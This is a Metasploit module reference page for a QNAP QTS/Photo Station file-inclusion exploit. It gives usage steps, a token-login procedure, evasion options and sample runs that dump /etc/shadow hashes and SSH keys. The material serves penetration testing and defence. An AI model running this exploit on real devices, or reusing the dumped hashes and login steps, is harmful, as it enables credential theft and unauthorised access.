QNAP QTS and Photo Station Local File Inclusion - Metasploit


This page contains detailed information about how to use the auxiliary/gather/qnap_lfi metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: QNAP QTS and Photo Station Local File Inclusion
Module: auxiliary/gather/qnap_lfi
Source code: modules/auxiliary/gather/qnap_lfi.rb
Disclosure date: 2019-11-25
Last modification time: 2022-02-23 16:27:12 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-7192, CVE-2019-7194, CVE-2019-7195

This module exploits a local file inclusion in QNAP QTS and Photo Station that allows an unauthenticated attacker to download files from the QNAP filesystem. Because the HTTP server runs as root, it is possible to access sensitive files, such as SSH private keys and password hashes. This module has been tested on QTS 4.3.3 (unknown Photo Station version) and QTS 4.3.6 with Photo Station 5.7.9.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use auxiliary/gather/qnap_lfi
msf auxiliary(qnap_lfi) > show targets
    ... a list of targets ...
msf auxiliary(qnap_lfi) > set TARGET target-id
msf auxiliary(qnap_lfi) > show options
    ... show and set options ...
msf auxiliary(qnap_lfi) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Introduction

This module exploits a local file inclusion in QNAP QTS and Photo Station that allows an unauthenticated attacker to download files from the QNAP filesystem.

Because the HTTP server runs as root, it is possible to access sensitive files, such as SSH private keys and password hashes.

/etc/shadow entries can be processed offline, the module saves them in the creds, and they can be cracked using john the ripper, or hashcat.

There is some confusion in the CVEs assigned to this vulnerability, it corresponds to one of these : CVE-2019-7192, CVE-2019-7194 or CVE-2019-7195, notice that two of them have the same description.

Verification Steps


  1. Start msfconsole
  2. Do: use auxiliary/gather/qnap_lfi
  3. Do: set RHOSTS [RHOSTS]
  4. Do: check
  5. Verify if check detects vulnerable hosts as it should
  6. Do: run
  7. Do: loot
  8. Verify if the run command retrieved the content of /etc/shadow if the host was vulnerable, and saved the file in the loot
  9. Do: creds
  10. Verify if the retrieved hashes were saved in the creds, and their hash type identified correctly.

Options


FILEPATH

Set this to the file you want to dump. The default is /etc/shadow.

PRINT

Whether to print file contents to the screen, defaults to true.

Scenarios


QNAP QTS 4.3.3

Dumping hashes from /etc/shadow


msf5 auxiliary(gather/qnap_lfi) > run
[*] Running module against [REDACTED]

[*] Getting the Album Id
[+] Got Album Id : cJinsP
[*] Getting the Access Code
[+] Got Access Code : NjU1MzR8MXwxNTkwNjk0MDIy
[*] Attempting Local File Inclusion
[+] File download successful, file saved in /home/redouane/.msf4/loot/20200528212705_default_[REDACTED]_qnap.http_394810.bin
[+] File content:
admin:$1$$0EDxoz0B/Et7aYxLtR/Ik/:14233:0:99999:7:::
guest:$1$$ysap7EeB9ODCrO46Psdbq/:14233:0:99999:7:::
httpdusr:!:16923:0:99999:7:::
Cherle:$1$$Bb3R7AIqzIemj7kGq5k/p1:16923:0:99999:7:::
redouane:$1$$l265pXOEMo0cRDhod/Z3M1:16923:0:99999:7:::
Test:$1$$0EDxoz0B/Et7aYxLtR/Ik/:16928:0:99999:7:::
Merle:$1$JjtNtEJx$PMtCY0tpb2N/rjck2fHVI0:17438:0:99999:7:::
[appuser]:!:17451:0:99999:7:::
[sshd]:!:17637:0:99999:7:::
a9d01ba7:$1$PKQtJPZZ$3RdJRQozKzdx1axJqP9Fe/:18405:0:99999:7:::
[*] adding the /etc/shadow entries to the database
[*] Auxiliary module execution completed
msf5 auxiliary(gather/qnap_lfi) > loot

Loot
====

host           service  type       name    content                   info  path
----           -------  ----       ----    -------                   ----  ----
[REDACTED]              qnap.http  shadow  text/plain                      /home/redouane/.msf4/loot/20200528212705_default_[REDACTED]_qnap.http_394810.bin

msf5 auxiliary(gather/qnap_lfi) > creds
Credentials
===========

host  origin         service  public      private                             realm  private_type        JtR Format
----  ------         -------  ------      -------                             -----  ------------        ----------
      [REDACTED]              admin       $1$$0EDxoz0B/Et7aYxLtR/Ik/                 Nonreplayable hash  md5crypt
      [REDACTED]              guest       $1$$ysap7EeB9ODCrO46Psdbq/                 Nonreplayable hash  md5crypt
      [REDACTED]              Cherle      $1$$Bb3R7AIqzIemj7kGq5k/p1                 Nonreplayable hash  md5crypt
      [REDACTED]              redouane    $1$$l265pXOEMo0cRDhod/Z3M1                 Nonreplayable hash  md5crypt
      [REDACTED]              Test        $1$$0EDxoz0B/Et7aYxLtR/Ik/                 Nonreplayable hash  md5crypt
      [REDACTED]              Merle       $1$JjtNtEJx$PMtCY0tpb2N/rjck2fHVI0         Nonreplayable hash  md5crypt
      [REDACTED]              a9d01ba7    $1$PKQtJPZZ$3RdJRQozKzdx1axJqP9Fe/         Nonreplayable hash  md5crypt

msf5 auxiliary(gather/qnap_lfi) >

The hashes can be used to login from the web interface, or through ssh if it's enabled.

Dumping ssh private keys


msf5 auxiliary(gather/qnap_lfi) > set FILEPATH /root/.ssh/id_rsa
FILEPATH => /root/.ssh/id_rsa
msf5 auxiliary(gather/qnap_lfi) > exploit
[*] Running module against [redacted]

[*] Getting the Album Id
[+] Got Album Id : [redacted]
[*] Getting the Access Code
[+] Got Access Code : [redacted]
[*] Attempting Local File Inclusion
[+] File download successful, file saved in /home/redouane/.msf4/loot/20200528213018_default_[redacted]_qnap.http_983860.bin
[+] File content:
-----BEGIN RSA PRIVATE KEY-----
[redacted]
-----END RSA PRIVATE KEY-----
[*] Auxiliary module execution completed
msf5 auxiliary(gather/qnap_lfi) >

Retrieving the token, can be used to authenticate


msf5 auxiliary(gather/qnap_lfi) > set FILEPATH /share/Multimedia/.@__thumb/ps.app.token
FILEPATH => /share/Multimedia/.@__thumb/ps.app.token
msf5 auxiliary(gather/qnap_lfi) > exploit
[*] Running module against [redacted]

[*] Getting the Album Id
[+] Got Album Id : [redacted]
[*] Getting the Access Code
[+] Got Access Code : [redacted]
[*] Attempting Local File Inclusion
[+] File download successful, file saved in /home/redouane/.msf4/loot/20200528213233_default_[redacted]_qnap.http_815651.bin
[+] File content:
[redacted]
[*] Auxiliary module execution completed
msf5 auxiliary(gather/qnap_lfi) >

The token can then be used to authenticate, by sending a POST request to the uri /cgi-bin/authLogin.cgi, for the example above:

sending the POST payload: app_token=[redacted]&app=PHOTO_STATION&auth=1

This would return an authSid, that can be used with most endpoints that require authentication.

QNAP QTS 4.3.6 with Photo Station 5.7.9

msf5 auxiliary(gather/qnap_lfi) > show options

Module options (auxiliary/gather/qnap_lfi):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DEPTH      3                yes       Traversal Depth (to reach the root folder)
   FILEPATH   /etc/fstab       yes       The file to read on the target
   PRINT      true             yes       Whether or not to print the content of the file
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.250.5    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI of the QNAP Website
   VHOST                       no        HTTP server virtual host


Auxiliary action:

   Name      Description
   ----      -----------
   Download  Download the file at FILEPATH


msf5 auxiliary(gather/qnap_lfi) > run
[*] Running module against 192.168.250.5

[*] Getting the Album Id
[+] Got Album Id : cJinsP
[*] Getting the Access Code
[+] Got Access Code : MHwxfDE1OTE4MTk2NjY=
[*] Attempting Local File Inclusion
[+] File download successful, saved in /home/smcintyre/.msf4/loot/20200610160738_default_192.168.250.5_qnap.http_072626.txt
[+] File content:
# /etc/fstab: static file system information.
#
#                    
/dev/ram       /              ext2  defaults         1      1
proc        /proc          proc     defaults      0  0
none            /dev/pts        devpts  gid=5,mode=620  0       0

[*] Auxiliary module execution completed
msf5 auxiliary(gather/qnap_lfi) >

Go back to menu.

Msfconsole Usage


Here is how the gather/qnap_lfi auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/qnap_lfi

msf6 auxiliary(gather/qnap_lfi) > show info

       Name: QNAP QTS and Photo Station Local File Inclusion
     Module: auxiliary/gather/qnap_lfi
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-11-25

Provided by:
  Henry Huang
  Redouane NIBOUCHA <[email protected]>

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Available actions:
  Name      Description
  ----      -----------
  Download  Download the file at FILEPATH

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  DEPTH      3                yes       Traversal Depth (to reach the root folder)
  FILEPATH   /etc/shadow      yes       The file to read on the target
  PRINT      true             yes       Whether or not to print the content of the file
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      8080             yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The URI of the QNAP Website
  VHOST                       no        HTTP server virtual host

Description:
  This module exploits a local file inclusion in QNAP QTS and Photo 
  Station that allows an unauthenticated attacker to download files 
  from the QNAP filesystem. Because the HTTP server runs as root, it 
  is possible to access sensitive files, such as SSH private keys and 
  password hashes. This module has been tested on QTS 4.3.3 (unknown 
  Photo Station version) and QTS 4.3.6 with Photo Station 5.7.9.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-7192
  https://nvd.nist.gov/vuln/detail/CVE-2019-7194
  https://nvd.nist.gov/vuln/detail/CVE-2019-7195
  https://www.exploit-db.com/exploits/48531
  https://medium.com/bugbountywriteup/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05
  https://www.qnap.com/en-us/security-advisory/nas-201911-25
  https://github.com/Imanfeng/QNAP-NAS-RCE

Module Options


This is a complete list of options available in the gather/qnap_lfi auxiliary module:

msf6 auxiliary(gather/qnap_lfi) > show options

Module options (auxiliary/gather/qnap_lfi):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DEPTH      3                yes       Traversal Depth (to reach the root folder)
   FILEPATH   /etc/shadow      yes       The file to read on the target
   PRINT      true             yes       Whether or not to print the content of the file
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8080             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI of the QNAP Website
   VHOST                       no        HTTP server virtual host

Auxiliary action:

   Name      Description
   ----      -----------
   Download  Download the file at FILEPATH

Advanced Options


Here is a complete list of advanced options supported by the gather/qnap_lfi auxiliary module:

msf6 auxiliary(gather/qnap_lfi) > show advanced

Module advanced options (auxiliary/gather/qnap_lfi):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/qnap_lfi module can do:

msf6 auxiliary(gather/qnap_lfi) > show actions

Auxiliary actions:

   Name      Description
   ----      -----------
   Download  Download the file at FILEPATH

Evasion Options


Here is the full list of possible evasion options supported by the gather/qnap_lfi auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/qnap_lfi) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Device does not appear to be a QNAP


Here is a relevant code snippet related to the "Device does not appear to be a QNAP" error message:

80:	    Exploit::CheckCode::Detected
81:	  end
82:	
83:	  def run
84:	    if check == Exploit::CheckCode::Safe
85:	      print_error('Device does not appear to be a QNAP')
86:	      return
87:	    end
88:	
89:	    file_content = exploit_lfi(datastore['FILEPATH'])
90:	

Failed to perform Local File Inclusion


Here is a relevant code snippet related to the "Failed to perform Local File Inclusion" error message:

87:	    end
88:	
89:	    file_content = exploit_lfi(datastore['FILEPATH'])
90:	
91:	    if file_content.nil? || file_content.empty?
92:	      print_bad('Failed to perform Local File Inclusion')
93:	      return
94:	    end
95:	
96:	    fname = File.basename(datastore['FILEPATH'])
97:	

Failed to retrieve the Album Id


Here is a relevant code snippet related to the "Failed to retrieve the Album Id" error message:

132:	
133:	  def exploit_lfi(file_path)
134:	    album_id, cookies = retrieve_album_id
135:	
136:	    unless album_id
137:	      print_bad('Failed to retrieve the Album Id')
138:	      return
139:	    end
140:	
141:	    print_good("Got Album Id : #{album_id}")
142:	

Failed to retrieve the Access Code


Here is a relevant code snippet related to the "Failed to retrieve the Access Code" error message:

141:	    print_good("Got Album Id : #{album_id}")
142:	
143:	    access_code = retrieve_access_code(album_id, cookies)
144:	
145:	    unless access_code
146:	      print_bad('Failed to retrieve the Access Code')
147:	      return
148:	    end
149:	
150:	    print_good("Got Access Code : #{access_code}")
151:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Henry Huang
  • Redouane NIBOUCHA <rniboucha[at]yahoo.fr>

Version


This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.